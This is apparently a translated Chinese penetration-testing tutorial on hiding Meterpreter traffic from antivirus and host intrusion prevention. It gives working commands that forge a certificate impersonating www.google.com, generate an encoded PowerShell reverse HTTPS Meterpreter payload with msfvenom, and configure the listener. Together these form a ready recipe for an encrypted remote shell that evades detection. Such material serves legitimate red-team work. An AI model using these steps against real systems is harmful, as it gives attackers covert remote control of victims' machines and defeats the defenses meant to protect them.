导语:如今大多数网络环境都包含各种安全软件,以防止主机受到攻击,如端点解决方案和主机入侵防御系统。终端解决方案会在主机存在的文件中扫描已知恶意软件,主机入侵防御系统(HIPS)会对每个数据包进行检测,然后断开所有不合法的连接。

如今大多数网络环境都包含各种安全软件,以防止主机受到攻击,如端点解决方案和主机入侵防御系统。终端解决方案会在主机存在的文件中扫描已知恶意软件,主机入侵防御系统(HIPS)会对每个数据包进行检测,然后断开所有不合法的连接。

即使这些安全产品提供了额外的安全层,但还不够。系统管理员经常依赖于这些控件,并允许用户执行脚本,从而导致执行任意代码并最终导致系统受损。

对于渗透测试来说,可以通过创建包含编码的Payload脚本来绕过这些控件,连接进行加密来躲避Hips的检测。HD Moore在2015年曾介绍使用Meterpreter Paranoid Mode作为一种安全连接的方法。

生成证书

OpenSSL可用于生成自定义证书。

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com"
-keyout www.google.com.key
-out www.google.com.crt &&
cat www.google.com.key www.google.com.crt > www.google.com.pem &&
rm -f www.google.com.key www.google.com.crt

或者Metasploit Framework有一个可以用来自动从信任源创建一个虚假证书的模块。

auxiliary/gather/impersonate_ssl

生成payload

Metasploit MsfVenom可用于生成编码的有效负载(PowerShell Base64),它将使用之前生成的证书。

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat

配置监听器

当配置监听器时,还需要使用两个附加选项。这是通知处理程序它将使用的证书(与Payload相同),并在接收到连接时执行SSL证书验证。

· HandlerSSLCert

· StagerVerifySSLCert

set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.100.3
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true

从目标主机上执行Patload起,打开一个加密的Meterpreter会话,它将不允许HIPS检查数据包并断开连接。

Meterpreter Paranoid Mode

使用Meterpreter Paranoid Mode工具可以完全自动完成上述过程。github可以找到使用这个工具的全部细节。

总结

上述过程经常被用于渗透测试中,可以躲避杀毒软件以及HIPS对流量的检测。

特别感谢James Hemmings以及Gabriel对本技术的贡献。

源链接

Hacking more

...